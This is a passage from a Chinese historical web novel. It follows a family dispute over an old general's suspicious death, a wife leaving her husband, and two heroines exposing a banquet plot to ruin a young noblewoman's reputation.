孟蕊听着谢清源的话,不禁想起前世,厉青鸿为**练兵时说,他要为了祖父和妹妹报仇,杀穿大齐皇室。
而这次,他又亲自来找厉老将军的信件,会不会是在确认,厉老将军当年的真实死因?
“爹爹,厉老将军,真的是伤重不治病逝吗?”孟蕊直言不讳道。
谢清源变了脸色,“蕊儿,你这话是什么意思?”
孟蕊没有立即回答,她放下笔,站起身,走到门口,让侍卫撤出院子,又把房门关上,才回过头来,鼓起勇气对谢清源说:
“爹爹您四处行商,对于民间的传闻,应该也有所了解。
当年厉老将军带兵入京,**完叛军后,大齐皇室除了个别幸运儿,差不多尽数凋零。
先帝那么多儿子,唯独剩下一个守皇陵的七皇子,幸免于难。
而厉老将军,在七皇子登基称帝前,突然伤重身亡,之后便有些阴谋论传出。
说当今陛下,担心厉老将军拥兵自重,恐自立为帝,使毒计害**他……”
“不可能!”
谢清源打断孟蕊的话,斩钉截铁道。
“厉老将军有功于江山社稷,陛下仁德,绝不会动他分毫!”
孟天挡在孟蕊身前,对着谢清源不悦提醒:
“有话好好说,你对着女儿吼什么吼!”
谢清源瞬间软下语气,无可奈何地说:
“娘子,我一时激动,蕊儿这话若说出去,是大逆不道……”
第260章 闯荡江湖
“你吓唬谁呢?有什么大逆不道的?”
一想到十六年前的事,孟天依然对谢清源心有不满。
再听他如此维护庆明帝,又拿话吓唬女儿,孟天心中更是涌起一股无名火。
“这传闻我也听过,当年说的人可不少,你有本事把他们都抓起来,把我们这些听过传闻的,也抓起来呀!”
“娘子,我不是那个意思。”
谢清源苦着脸,声音带着几分求饶意味。
“我只会保护你们,怎么会抓你们呢?”
孟天冷睨着他,不依不饶,“那你说,如果有一天,我和你的皇帝陛下打起来,你帮谁?”
“娘子你怎么会和陛下打起来呢?”
谢清源觉得孟天是在开玩笑。
“娘子你的武功,天下无敌,打谁都不需要我帮忙。”
这记恭维让孟天和缓了脸色,但依然不准备放过谢清源。
“那我给你换个问题,如果有一天,皇帝下令要抓我,你会怎么做?”
谢清源不解,“陛下为何要抓娘子你呀?”
“我说的是如果,你管他为什么?”
孟天不耐烦地催促。
“你到底说不说?你是要帮着他抓我,还是要帮我反杀他?”
“非要反杀吗?咱们不能一起逃跑?”谢清源试探着问。
“逃跑?哼!”孟天不屑地冷哼,“谢清源,你果然还是向着他。”
“不是啊,娘子,你说要杀……他?那是谋反大罪!不能随意说的。”谢清源急着找补。
他为官多年,知道什么该说,什么不能说,虽身负皇恩,但若被人寻了错处,御史参上一本,要花好大的成本,才能消除影响。
而孟天,听不进谢清源那些冠冕堂皇的话。
她只听出来,若是十六年前的情况再次上演,谢清源,她的夫君,还是会放弃她,去选择帮他的皇帝好友。
见孟天沉下脸,谢清源小心翼翼地问:
“娘子,你生气啦?你说的那种情况,绝对不会发生,你可以放心。”
“好了,你不用说了。”孟天心中已经暗自做好决定,懒得再与他多言。
“你还是在生我的气……”
谢清源知道孟天想要他承诺什么,但在家国天下和儿女情长面前,他知道自己最终还是会选择前者。
若无天下安宁,何来百姓安康?
他无法承诺,即使承诺,也是一句空谈。
在谢清源看来,十六年前的事,是个意外,他们无法预料,且能力不足,而现在,他已经有自己的势力,在朝中也有一席之地,必不会让妻子儿女落入当年的险境。
可是,他不知现在该如何哄好妻子,求助地望向女儿孟蕊。
孟蕊接收到父亲的眼神,立即明白他的意思。
但这一次,孟蕊没有帮父亲说话,而是继续表达自己未讲完的观点。
“爹爹,女儿知道利害,但有些事不说,他人就不会这样想吗?”
孟蕊走出娘亲孟天的庇护,站在孟天身边,郑重地对谢清源说:
“如果厉青鸿也相信那些传闻,怀疑陛下害**他的祖父,他会怎么做?
他顶着欺君之罪离京,亲自潜入孟家堡,来找厉老将军之前的信件,会不会就是在找他祖父被害的证据?”
“这……不会吧……”谢清源心惊不已,理智告诉他,孟蕊说的有一定可能。
对爹娘争吵充耳不闻的孟瑜,终于放下手中信件,对谢清源说:
“这些信中的内容,找不出蹊跷,但有一件事,确如妹妹所言,厉老将军身体健康强壮,从未在信中提及自己有任何伤病。”
“阿瑜,你也赞同蕊儿的观点?”
谢清源脸色纠结,烦躁地在屋内来回踱步。
“十六年前,我见到的厉老将军,确实不像是受伤或是患病的样子。
但他是将军,打仗哪有完全不受伤的,他或许是要强,有意遮掩,没让人看出来……”
孟瑜冷静道:“厉老将军的身体状况,他身边的人定然了解,现在还能找到那些人吗?”
“厉老将军身边伺候的人若还活着,应是在北地镇北王府,要找到他们,需要些时日。”
谢清源站定脚步,思量了片刻,不赞同地摇头。
“不会的,陛下不可能做那种不仁不义之事。”
“话不要说得太满。”孟天冷声道,“登上权力顶峰的皇帝,或许早就不是你认识的七皇子了,京城那群人,为了争权夺利,什么做不出来?”
谢清源
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脸色一白,依然坚持自己的观点。
“你们不知道,当年陛下并不想继承大统,是厉老将军和群臣苦苦相劝,才说服了他。”
孟天讽刺轻哼,“做做样子嘛,显得自己没那么着急,谁人不会?”
“娘亲,往事已矣,为过去的事争执,没有意义。”
孟蕊察觉到娘亲的怒意来源,扶住孟天的胳膊,软声相劝。
“咱们都要向前看,好吗?”
孟天爱怜地看着孟蕊,过去的事她都可以不在意,唯一感到愧疚的,就是对不起女儿。
若是孟蕊在她身边长大,在她的指导下,凭孟蕊的天资和勤奋,于武学一途上定早有所成,不至于被那什么姜家耽误了十六年。
孟天轻轻抚摸着孟蕊的发顶,慈爱地说:
“乖女儿,为娘都听你的。”
孟天又转向谢清源,瞬间冷脸。
“谢清源,以后,我都不会再与你争了,什么南照人、镇北王,你们该怎么查就怎么查,我懒得再管。”
话落,孟天牵起孟蕊,径直打开门,离开房间。
谢清源心中不安,追着她们出了院子,看到孟天只是带孟蕊去园子里习武,略微放下心来,返回找下属安排其他事务。
……
第二日,谢清源特意早起,亲自在小厨房做了孟天喜爱的排骨和炖肉,想要给妻子道歉。
他忙到中午,把菜肴端上桌,喜滋滋地等待孟天和孟蕊练完武,从山上回来用膳。
但等了许久,也不见孟天母女。
谢清源正要叫人去问,就见孟瑜一个人,冷着一张脸,不情不愿地走进门。
“不用等了,阿娘和妹妹,带着纪华筠,今早天不亮就走了。”
“走了?!”
谢清源惊得差点从凳子上跳起来。
“她们走去哪里了?怎么都没和我说?”
孟瑜徒手拿起一根排骨,津津有味地吃着,囫囵答道:
“闯荡江湖,居无定所,阿娘说,你该干嘛干嘛,别去找她烦她,这是她给你的。”
孟瑜没拿排骨的手,从怀中抽出一张对折的纸,拍在谢清源面前的桌子上。
谢清源颤抖着手,打开纸,赫然看到纸上最前方两个大字:
“休书”!
第261章 半年之后
半年后
京城
冬月末的天,阴沉沉似要落雪,寒风凛冽,吹得街上的行人裹紧了棉衣,匆匆往家赶。
而永宁侯府大门外,却是一派车水马龙的热闹景象。
永宁侯夫人方氏,今日举办生辰宴,邀请京中相熟的各家夫人小姐前来赴宴。
永宁侯纪恺,现任兵部尚书,其子纪华笙,坐镇南境的纪家军中,都掌握着实权,颇得陛下信重。
别说今日天气不好,即使再冷的天,为了攀上永宁侯府的大门,京中的夫人小姐也是会争相前来。
永宁侯府后园的戏台子上,一曲《三女拜寿》正唱得热闹。
各家夫人们陪着永宁侯夫人看戏,时不时恭维两句,捧得永宁侯夫人笑靥如花。
而年轻的世家小姐们,大多对戏曲不感兴趣,她们三五成群地聚在一起,说说笑笑,或是结伴在永宁侯府的花园里散步,等待午宴开席。
“赵姐姐,这些糕点真好吃,你也尝尝。”
程燕燕坐在廊下,一块接一块地吃着枣泥酥,腮帮子被塞得鼓鼓的,不忘分出两块来,递给赵雅娴。
赵雅娴没有去接糕点,无奈地看着程燕燕的贪吃样,用手帕给程燕燕擦去嘴边的残渣。
“我不饿,燕燕妹妹你也少吃些,一会儿就要开宴了。”
赵雅娴是太常寺卿家的嫡女,其母严氏,与永宁侯夫人是手帕交。
程燕燕是兵部侍郎家的千金,年方十四,生得娇憨可爱,讨人喜欢,只是胃口随了她那武将出身的父亲,总没个饱的时候。
“没事的,赵姐姐,这才几块点心,不耽误我一会儿用膳。”
程燕燕说着,咽下口中的糕点,对着赵雅娴笑得乖巧。
赵雅娴没忍住,捏了捏程燕燕的小胖脸,觉得她比上一次见面更圆润了,半是玩笑半是劝告地说:
“燕燕妹妹,过完年你就要及笄,及笄后也该要议亲了,糕点甜口少吃些,当心长胖了嫁不出去。”
“嫁不出去就嫁不出去呗,我爹爹说了,他乐意养我一辈子。”
程燕燕又拿起一块红豆糕,咬上一口,好吃得眯起眼。
“我爹爹还说,我年纪小,以后会抽条长高,现在胖一点没事的。”
赵雅娴在心中微微叹息,她倒是一时忘了,程燕燕的父亲,兵部侍郎程金,是京中出了名的疼爱女儿。
而赵雅娴自己那位古板的父亲,对儿女管束严格得近乎严苛,在婚事上更是一言堂,不容置疑。
赵雅娴比程燕燕大几岁,今年十八,正是婚配的年纪。
她的父亲太常寺卿赵大人,竟然有意给她和晋国公府庶长子齐辕定亲。
齐辕的生母,原本只是晋国公的通房丫鬟,在主母有孕之前生下齐辕,本就不合规矩,偏偏晋国公还因其生子有功,抬了做姨娘。
赵雅娴是嫡女,齐辕是庶长子,即使齐辕的父亲是晋国公,赵雅娴的出身,也要比齐辕高一头。
从齐辕庶长子的身份,便可看出,晋国公是个拎不清的。
这门婚事,赵雅娴不愿意。
她的母亲崔氏,也不看好。
崔氏出身忠勇伯府,她的亲弟弟,正是京兆府尹崔怀远。
为了女儿,崔氏求上娘家弟弟,帮忙打听晋国公府内的情况。
崔怀远能在京兆府尹的位置上坐稳,对京中各世家的情况不能说了如指掌,那也是多有了解,一听崔氏询问晋国公府,他立即问了缘由。
得知姐夫竟是要将赵雅娴嫁给齐辕,崔怀远略一思索,便严肃地告诉姐姐崔氏,此亲事不可成。
崔怀远将晋国公府内的各房斗争,以及乌七八糟的破事一说,崔氏更是感到眼前一黑。
崔怀远还告诉崔氏,晋国公府已经站队三皇子,赵大人要嫁女儿入晋国公府,或有参与夺嫡之心。
崔氏不想她规矩养大的女儿去蹚浑水,而夺嫡,一着不慎,是要丢掉性命的事。
她回到府中,将晋国公府里的污糟事,讲给赵大人听,但赵大人一点不在意,一门心思要把赵雅娴嫁给齐辕,还催着崔氏带赵雅娴,和齐辕相看走流程。
崔氏也不
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是个软柿子,女儿的婚事关乎终生幸福甚至性命安危,不能服软。
她与赵大**吵一架,直接带着女儿,回娘家忠勇伯府居住。
今日,崔氏和赵雅娴,便是从忠勇伯府,来到永宁侯府。
赵雅娴一想到自己那糟心的父亲和婚事,就觉得头疼。
一直住在忠勇伯府,逃避与晋国公府议亲,总不是长远之计。
但现在,她和母亲,也没有更好的办法。
赵雅娴想,今日来永宁侯府,母亲或许会求一求永宁侯夫人,给她想想办法。
“赵姐姐,你不开心吗?是不是我说错什么了?”
程燕燕眨巴着眼,恋恋不舍地把手中还未吃的红豆糕,放回玉盘中。
“你不想我吃,我就不吃了,这样,你会高兴一点吗?”
赵雅娴被她逗笑,“和你没关系,不过呀,你确实不能再吃了。”
突然,一道蓝色身影匆匆来到她们面前。
赵雅娴抬起头,看到一脸焦急的齐月佳,她身后还跟着两个丫鬟。
“赵小姐,程小姐,你们看到许小姐了吗?”齐月佳着急地问。
赵雅娴正为与齐辕的婚事心烦,不想搭理晋国公府的人,但从小到大养成的礼仪规矩,让她不能无视齐月佳。
“许小姐?齐小姐是在找许御史家的许南音许小姐?”
“正是她!”
齐月佳迫不及待地解释。
“我刚才在园子里,看到南音被一名戏班乐师纠缠,当我带着丫鬟赶过去时,南音已经被那男子扯着不见了踪影。”
“啊!怎么会这样?”程燕燕惊讶地站起来,担忧道,“那得快去找呀!”
官家女子被贱籍男子纠缠,不是小事,万一坏了名节,会毁了一辈子!
“是啊!时间紧迫,我们必须尽快找到南音!可是我们人少,不知何时才能找到。”
齐月佳目含期待地看向赵雅娴。
“为了南音的安危,还请赵小姐去告知永宁侯夫人,派侯府中的家丁护卫一起寻找,定能更快地救出南音。”
第262章 事关名节
赵雅娴半信半疑地盯着齐月佳,“事关许小姐名节,齐小姐会不会看错了?”
齐月佳是晋国公府二房的姑娘,齐辕的堂妹。
因着之前查到的消息,赵雅娴现在对整个晋国公府的人,都没有好印象,总觉得此刻的齐月佳,在酝酿着什么阴谋诡计。
“你们相信我,我没有看错,且绝不会拿这种事开玩笑!”
齐月佳急得直跺脚。
“再不快点找人来帮忙,南音真的要出事了!”
赵雅娴并不被齐月佳的急切情绪牵动,平心而论,无论是齐月佳,还是许南音,和赵雅娴都交情不深,不过宴席诗会上见过几面,要真出事,也与她无关。
但若是赵雅娴去帮齐月佳找永宁侯夫人,请侯夫人派人去找许南音,情况就不同了。
许南音不出事还好,只是一场虚惊。
如果许南音出事,损了名节,赵雅娴的名声,说不定也会跟着受影响。
见赵雅娴依然坐着不动,齐月佳面色焦灼。
“赵小姐,你和永宁侯夫人相熟,你去求永宁侯夫人帮忙,我带着丫鬟继续找南音。”
赵雅娴挑眉看向齐月佳,“你倒是会使唤人。”
“你别误会,我不是那个意思……”
齐月佳为难地说着,继续催促。
“赵小姐,我求你了,帮帮南音吧,时间不等人啊!”
赵雅娴知道,齐月佳会来找她去求永宁侯夫人,是知道她与侯夫人情同母女。
但齐月佳若当真关心许南音的安危,着急找人,为何不自己去?
事关赴宴贵女名节,只要齐月佳去说,身为主人家的永宁侯夫人,不会不管。
齐月佳让赵雅娴去说,分明就是想推脱责任,到时候出事,她只说不知,全都是赵雅娴这个帮忙的无辜之人替她背了黑锅。
旁边单纯的程燕燕,没想那么多,一听情况紧急,也跟着求道:
“赵姐姐,我们就帮帮许小姐吧。”
“你想帮她们?”
赵雅娴悠然站起身。
“那你也得帮我一个忙。”
程燕燕小鸡啄米似的点头,“赵姐姐你说,只要是我能做的。”
齐月佳松了一口气,刚要表达感谢,就看到赵雅娴指着自己,对程燕燕说:
“你拉着齐小姐的手,和我一起去见永宁侯夫人,有她在,我们才能把事情说清楚。”
不等齐月佳反应,程燕燕就一把拉住了齐月佳的手,“齐小姐,赵姐姐说得有理,咱们一起去见侯夫人,很快就能找到许小姐了。”
“等等,我不能去,我还要在园子里找许南音!”
齐月佳想要扒开程燕燕抓着她的手,却发现程燕燕年纪不大,力气倒不小,齐月佳无论如何,都挣脱不开。
齐月佳不知道的是,程燕燕的父亲程金,自从见过纪华筠小时候大力举锤的模样,就让女儿立志学武。
如今十四岁的程燕燕,虽不如纪华筠武功好,但拿捏齐月佳这种手无缚鸡之力的柔弱小姐,那是轻轻松松。
赵雅娴见齐月佳不愿去见永宁侯夫人,更加怀疑她的目的,直视齐月佳道。
“齐小姐,你不敢去见永宁侯夫人,莫非是心虚?”
齐月佳心中一惊,“我哪有不敢去?不过是怕耽误时间罢了。”
“我们快些走,马上就能到,不差你找这一会儿。”赵雅娴强势道。
齐月佳说不过她,为了不引起怀疑,她只能跟随赵雅娴和程燕燕,去往戏园。
戏园中,当着永宁侯夫人和其他赴宴夫人的面,齐月佳大声说出,她看到许南音和一名乐师拉扯,而后不见了踪影。
听得一众夫人都变了脸色。
许南音的母亲许夫人,脸色发白,几欲晕倒,被丫鬟扶住,才勉强站稳。
“齐小姐,你可不能信口雌黄,污蔑我女儿的清白!”
“我亲眼所见,没有乱说,我的丫鬟也都看到了。”
齐月佳对跟随她的两名丫鬟点了点头,两名丫鬟上前,将齐月佳刚才说许南音的话,又重复了一遍。
等两个丫鬟的证词说完,齐月佳吸了吸鼻子,面露委屈又故作坚强地说:
“许夫人,我知道你忧心南音,我和你一样,真的非常担心,所以第一时间就赶过来告知
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你们,现在最重要的,是找到南音,把她救回来,或许还来得及。”
齐月佳转而望向一脸不悦的永宁侯夫人,诚恳道:
“永宁侯夫人,请您赶紧派人,去找找南音吧,她刚被人掳走,应该还没走远,她很可能还在侯府之内。”
永宁侯夫人脸色更加不好,永宁侯府向来守备严格,怎会在她生辰宴上,被宵小钻了空子,跑进来掳了贵女,这传出去,岂不丢脸!
“我府中没有养乐师,只有今日请入府中的戏班,有乐师……”
永宁侯夫人立即让人查了戏班中的乐师,竟真与报备的人数少了一人。
陪在永宁侯夫人身边的晋国公夫人,适时开口:
“月佳这孩子,是我看着长大的,从小就是实诚孩子,为人热心善良,她不会说谎的,现在最重要的,是找人呐!”
永宁侯夫人定下心神,先让侍卫去通知前院的永宁侯,然后下令立即找人。
齐月佳积极地带着丫鬟,和相熟的几位小姐,一起去找许南音。
许御史家的千金不见了,永宁侯夫人此时也没了听戏的兴致,她也跟着找人的侍卫往园子里走,希望尽早听到消息。
赵雅娴陪在永宁侯夫人身边,觉得走在前面的齐月佳,实在太可疑了。
一刻钟后,园中暖阁方向,传来惊声尖叫。
赵雅娴和程燕燕,左右扶着永宁侯夫人,在丫鬟婆子的簇拥下,和另外几位陪同的夫人,一起往暖阁赶去。
暖阁大门敞开,齐月佳和其他几位小姐,立在门口,羞臊着转身,不敢看里面场景。
永宁侯夫人往里一看,便见外间地上散落着乐师的衣裳,里间还传来男人闷哼的声音。
齐月佳神情悲痛,目不忍视地捂住心口,“我们还是来晚了一步,南音她……”
永宁侯夫人看到外间的情形,脑中联想到里间的污糟样,厌恶蹙眉,指使身边的婆子进去查看。
婆子得令,挽起袖子,往暖阁里间走。
刚看到里间的情况,婆子吓得脸色大变。
“啊——!二小姐,你这是在做什么?”
第263章 华筠归来
听到婆子脱口而出“二小姐”的称呼,永宁侯夫人身子一颤,露出惊诧的神色。
扶着她的赵雅娴,也是一惊。
因为能被永宁侯府下人称呼二小姐的,只有在家中行二的纪华筠一个。
半年前,纪华筠设计落水一事,赵雅娴是参与者。
之后纪华筠带着丫鬟碧莲逃出京城,赵雅娴还托舅舅京兆府尹崔怀远的关系,伪造了户籍和路引,帮助纪华筠主仆顺利出逃。
听说永宁侯府和京兆府一起封锁城门,抓捕逃奴时,赵雅娴还担惊受怕了好一段时日。
后来永宁侯府停止搜查,罗杰裕之死结案,赵雅娴才放下心来。
按照永宁侯府对外的说法,纪华筠去了云州姨母家探亲,实则永宁侯夫妇都不知道纪华筠究竟在哪里。
难道现在,纪华筠回来了?
永宁侯夫人也想到了女儿纪华筠,半年未见女儿,思念和担忧如潮水般向她涌来,此刻再顾不得其他,提起裙摆,就跨入暖阁。
她疾步走向暖阁里间,当看到里间中情形的一刹那,身形顿住。
只见一名只着里衣的年轻男子,被打得鼻青脸肿,虚弱地躺在地上,已经看不出他原本的容貌,因他嘴里堵着布,只能发出沉闷的痛哼。
而站在他身边的,是一身黑衣劲装、做男子装束的纪华筠。
纪华筠双手抱臂,冷着眸子,居高临下地看着地上躺着的男子,鄙夷而愤怒。
她的一只脚,还狠狠踩在男子的胸前,时不时加重碾压践踏的力道,逼出男子的痛哼。
“华筠?真的是你……”
永宁侯夫人紧张地上下扫视纪华筠,见女儿衣着完整,发髻整齐,稍稍放心。
再细看去,永宁侯夫人愕然发现,自己精心教养长大的女儿,居然穿着男子粗犷的黑衣,梳着男子的发髻,还以威风凛凛的架势,踩在一个衣衫不整的男人身上,瞬间惊叫。
“纪华筠!你在做什么?快给我过来!”
门外的夫人小姐们,都听到永宁侯夫人叫出纪华筠的名字,每个人脸上表情不一。
有人惊讶,有人担忧,有人露出了看好戏的神情。
赵雅娴和程燕燕,担心纪华筠出事,不由自主地踏入了暖阁。
齐月佳压抑着心中惊异,她不明白纪华筠怎么会出现在这里,为确定情况,也走了进去。
其他的夫人小姐们,在好奇心的驱使下,犹豫之后,一起走进暖阁。
然后,她们就看到,永宁侯夫人看到的那一幕,暖阁内响起此起彼伏的抽气声。
“这是怎么回事?那个凶巴巴的人,是纪小姐?”
“天呐,她不但穿着男人的衣服,脚下还踩着一个男人!”
“她怎么突然出现在这儿?不是说她去云州亲戚家,要好久才回来吗?”
“纪小姐脚下那个男人,不会就是掳走许小姐的歹人吧?外面都是乐师的衣服。”
“这么说来,我们不是来找被掳走的许小姐的吗?现在是什么情况?”
“是呀,纪小姐这样,凶神恶煞的,她倒是更像歹人一些。”
……
面对母亲的怒声呵斥,和其他夫人小姐们的恶意揣测,纪华筠丝毫不慌。
她揉了揉耳朵,笑眯眯地对永宁侯夫人说:
“娘,女儿今日赶回家,就是为了陪您过生辰,给您一个惊喜,您看到我,开心吗?”
永宁侯夫人听了,简直气不打一处来,什么惊喜?惊吓还差不多!
但有外人在场,她还是要做足表面功夫,不能让女儿的名节蒙羞。
“我娘见到你,自是开心,但……这个人是怎么回事?”
永宁侯夫人指向被纪华筠踩在脚下的男子。
“他可是被你捉拿的歹人?”
永宁侯夫人知道纪华筠的本事,不但天生神力,还从小习武,不会让这等宵小欺负。
站在人群中的齐月佳,看到那歹人脸的一刻,脸色煞白,手心紧张到冒汗,此人被抓了,那许南音呢?
纪华筠抬起踩在男子胸口的脚,踢了踢男子的胳膊,自豪地说:
“正是呢!娘,您真聪明。
这个混账东西,在此处偷藏蹲守,欲袭击许小姐,女儿路见不平,出手将他制服,救下了许小姐。”
“那我女儿人呢?”
许夫人扒开人群,脚步虚浮地走到纪华筠面前,慌张地问。
“
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我女儿南音,她现在在哪里?有没有受伤?”
纪华筠扶住许夫人,安慰道:
“许夫人放心,我到的很及时,许小姐毫发无损,她现在和蕊儿妹妹一起,去抓诱骗她到此处的丫鬟了。”
“蕊儿……”许夫人一时没反应过来。
永宁侯夫人神色一凛,“华筠,你是和孟蕊一起回府的?孟天也来了?”
半年前,纪华筠跟随孟天母女,从孟家堡出发,去闯荡江湖的事,谢清源回京后,便告知了永宁侯夫妇。
那时,谢清源唉声叹气,说自己对不起妻子,孟天不肯原谅他,带着女儿跑了不说,纪华筠也跟着她们跑了。
谢清源说到伤心处,对着永宁侯痛哭流涕。
说他对不起永宁侯,没能拦住纪华筠,但保证纪华筠跟着孟天不会有危险,还能长本事。
说他对不起儿子孟瑜,导致孟瑜长大后不认他这个的父亲,还要辞去官职,抛弃老父亲而去。
在儿女教育上,永宁侯与谢清源同病相怜,他的一双嫡出子女都有本事,但也都不听话,对谢清源的痛处,很是感同身受。
谢清源脸皮厚,不但对着永宁侯一顿牢骚哭惨,还求着永宁侯务必帮他把孟瑜留在京城,千万不能让孟瑜辞官。
当时,永宁侯夫人站在书房门外,听到谢清源伤感失落的声音,觉得孟天真是个狠心的女人,抛夫弃子,带着女儿就跑,偏偏还连她的女儿华筠也一并拐带。
后来,纪华筠会时不时往永宁侯府寄信,随着信一起到的,还有各地的特产零嘴,让永宁侯夫人哭笑不得。
永宁侯派人顺着寄信的地址去找人,试图将纪华筠带回京城,但每每扑空,线索总是中断得猝不及防。
这样一来,永宁侯也不得不佩服孟天的藏身能力,更加可怜谢清源,想办法帮他把孟瑜留在京城任职。
……
一想到孟天,永宁侯夫人就如临大敌,可不能让孟天再把她女儿拐走。
“孟女侠有事要忙,没有回京……”
纪华筠说着,目光不自觉望向人群后方,笑着挥手。
“蕊儿妹妹,你们抓到那个谎报消息的丫鬟了吗?”
第264章 歹人同谋
围观的夫人小姐们,纷纷往后看去,赫然看到许南音,和一名玉冠红唇的白衣公子。
许南音衣着整齐,贴着白衣公子站立,很是依赖此人的样子。
而白衣公子手中,拽着一名双手被缚身后的绿衣丫鬟。
“南音!我的女儿!”
许夫人关切地快步走来,人群自动为她让出一条道。
她走到许南音身边,抓住许南音的胳膊,上下检查女儿的情况。
“你没事吧?坏人有没有把你……”
“母亲,我没事。”
许南音扶住许夫人,温声安慰。
“幸好蕊儿和纪小姐及时赶到,救下了我,只是墨云被打晕,现在还没醒来。”
墨云是许南音的贴身丫鬟,许南音被诱骗到暖阁后,墨云被打晕,许南音被那扮作乐师的歹人,拉进房中……
见许夫人一直盯着自己瞧,女扮男装的白衣公子孟蕊,对她温和笑道:
“许伯母,您不认得我了?我是孟蕊啊,今日刚回京,这身装束在外行走方便些。”
对许夫人介绍完自己,孟蕊又向着永宁侯夫人作揖问好:
“孟蕊见过永宁侯夫人。
今日我本是陪华筠姐姐回府,想要彩衣娱亲,给侯夫人一个惊喜,不想刚好撞见歹人要袭击南音。
事急从权,未能提前告知您,就动了手,请侯夫人原谅我们的冲动。”
这是孟蕊和纪华筠早就对好的说辞,与方才纪华筠所言毫无出入,任谁也挑不出她们的错处。
永宁侯夫人望着孟蕊,微微发愣,听到孟蕊的声音,她才确认,这个玉树临风的白衣公子,竟然是孟蕊。
“你们为了救人,何错之有?瑞嘉县主不必自责。”
永宁侯夫人一改对纪华筠说话时的严厉,和缓了语气道。
“既然歹人已经拿下,许小姐也没事,这里就交给下人们处理吧。”
看在孟蕊父兄的面子上,永宁侯夫人不会追究孟蕊的失礼,只想将此事速速揭过。
孟蕊的父亲谢清源,是当今陛下的心腹钱袋子,深受信任。
孟蕊的大哥孟瑾,高中状元后,在刑部当差,两个月前查获吏部贪腐大案,立了大功。
圣心大悦,孟瑾连升三级,如今已是正五品的刑部郎中,未来不可限量。
孟蕊的二哥孟瑜,调入京城后,在羽林军中当差,陛下还亲自召见过他,给了好些赏赐,可见陛下对谢家的恩宠。
听到永宁侯夫人的话,孟蕊不赞同地皱起眉。
“且慢!我还没有说完。”
孟蕊将手中拽着的丫鬟推上前,大声道。
“我方才与南音离开暖阁,就是为了抓住这个丫鬟,她是歹人的同谋!”
孟蕊不顾永宁侯夫人逐渐难看的脸色,继续说。
“这个丫鬟,名叫巧儿,是永宁侯府上洒扫园子的二等丫鬟。
她与那乐师歹人合谋,假借永宁侯夫人的名义,骗南音到暖阁叙话。
刚才,她已经招供,是受人指使,才犯了糊涂,做下此等恶行!”
孟蕊在丫鬟巧儿的身上点了两下,解开她的哑穴,命令道:
“巧儿,把你知道的都说出来,我可保你性命,否则……”
孟蕊将**抵上巧儿的背,压低了声音威胁。
“我现在就可以杀了你!”
丫鬟巧儿看起来年纪不大,只有十三四岁的样子,长相不出挑,是府中最寻常的丫鬟。
许南音之前被巧儿请去暖阁时,也曾有过怀疑。
但见巧儿模样老实本分,着急得要哭的样子,许南音一时心软,觉得永宁侯府防卫森严不会有问题,跟着巧儿到了暖阁,才知受骗。
现在的巧儿,被点穴定身,只能说话不能动,身后又有孟蕊的**威胁,吓得浑身颤抖,连连求饶:
“求求你,不要杀我,我、我说还不行吗?我全都说!”
巧儿倒豆子似的,将知道的都说了出来。
“有人给了我十两银子,让我帮她传句话,在规定时间,将许小姐带到暖阁就行。
我不知道……不是故意要害她的,呜呜……我爹病了,真的很需要银子治病,我只是想赚银子,没想那么多……”
巧儿害怕地哭了出来,抽泣哽咽的样子好不可怜。
但孟蕊无动于衷,仅仅十两银子,就差点害了许南音一生!
她将手中**动了动,稍稍推进了点,巧儿瞬间全身僵硬,哭都不敢了。
孟蕊沉声道:
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“巧儿,是谁让你去骗许小姐到暖阁来的?那个人在此处吗?”
听到巧儿和孟蕊的对话,在场的夫人小姐们,纷纷将目光投了过来。
赵雅娴以余光瞄了神情紧张的齐月佳一眼,故作好奇地问孟蕊:
“孟小姐,你的意思是,陷害许小姐的人,就在我们之中?”
“不是看我的意思,而是听巧儿的证词。”
孟蕊又解开巧儿身上的定身穴,对巧儿催促道。
“你看清了吗?那个人是否在这里?把他指出来!”
巧儿的目光在暖阁内众人脸上一一扫过。
“是她!就是她给我银子,让我去叫许小姐到暖阁的!”
巧儿手一伸,指向齐月佳——身后的婢女。
众人的目光,齐齐看过去。
那婢女身体一抖,望向齐月佳求助。
齐月佳恨恨瞪向孟蕊,“你什么意思?你给了这个丫鬟多少银子,让她撒谎污蔑我?”
“是不是污蔑,齐小姐自己心里有数。”
孟蕊懒得与齐月佳争执,远远递给纪华筠一个眼神。
齐月佳看着孟蕊这副不屑与她理论的做派,就心里不舒服。
明明不久之前,孟蕊还叫姜蕊时,要看她齐月佳的脸色。
可是不过大半年的功夫,孟蕊一跃成为皇帝心腹谢清源的女儿,还被封为县主,狠压齐月佳一头,令她难受至极。
“孟蕊,我哪里得罪你了,你要这样对付我?是不是因为我兄长?你和他的亲事没了,你因爱生恨,拿我出气?”
孟蕊简直无语,齐月佳以为齐轩是银子吗?谁都喜欢?
“喂!齐小姐,你别挣扎了!”
纪华筠不耐烦地冲着齐月佳喊道。
“我这儿还有一个证人呢!你要不先听听看,这位乐师怎么说啊?”
不等齐月佳回应,纪华筠蹲下身,从地上被打得鼻青脸肿的男子口中,拔出塞嘴的破布,破布上沾着鲜红的血迹,还连带着一颗染血的牙齿。
纪华筠拿着破布,顺道拍了拍男子的脸,明目张胆地威胁道:
“小子,给我老实说,是谁让你今天对许南音下手的?
你要是敢不说真话,我让你今天走不出这间暖阁!”
第265章 受人指使
“咳咳……别、别杀我!”
被纪华筠威胁的男子,虚弱地求饶。
“我说,我什么都说……”
他是真怕了面前这女煞星,刚才他都以为,自己要被打死了,现在浑身都在疼。
纪华筠满意地点头,“嗯,那你老实交代,你是谁?今日到此地做什么?是谁指使你的?”
“我、我叫暮辞,是戏班里的乐师,今日到这里来,是有人拿钱,驱使我过来……咳咳……”
乐师暮辞艰难地咳嗽了几声,在纪华筠严厉的目光压迫下,连忙继续往下说。
“那人说,他要给我一个好前程,只要我和那位许小姐做出亲昵举止,被人看见,我不但能抱得美人归,做许家的女婿,他还给我一千两银子!”
话一说完,在场的夫人小姐们,皆倒抽一口凉气,为幕后之人的险恶用心而感到恐惧。
永宁侯夫人脸色越加难看,不但是因为有人敢在永宁侯府行此恶事,还因为她眼睁睁看着女儿纪华筠,在众人面前表情凶狠地威胁人。
她精心培养出来的世家贵女,京中淑女的典范,出去了半年,就变成了这副狠辣又邪性的样子,这谁受得了?
孟蕊听着那乐师暮辞的话,指使他的人,绝对是骗他的。
许南音的父亲许御史,为官清正廉洁,性格刚正不阿,被他参过的官员上百人,可谓树敌无数。
许御史最重名声清誉,许南音若是被污了名节,很可能被许御史逼得以死明志。
前世,孟蕊被困安乐侯府,听到消息时,京中都在传许御史教女无方,许南音和乐师私奔,不知去向。
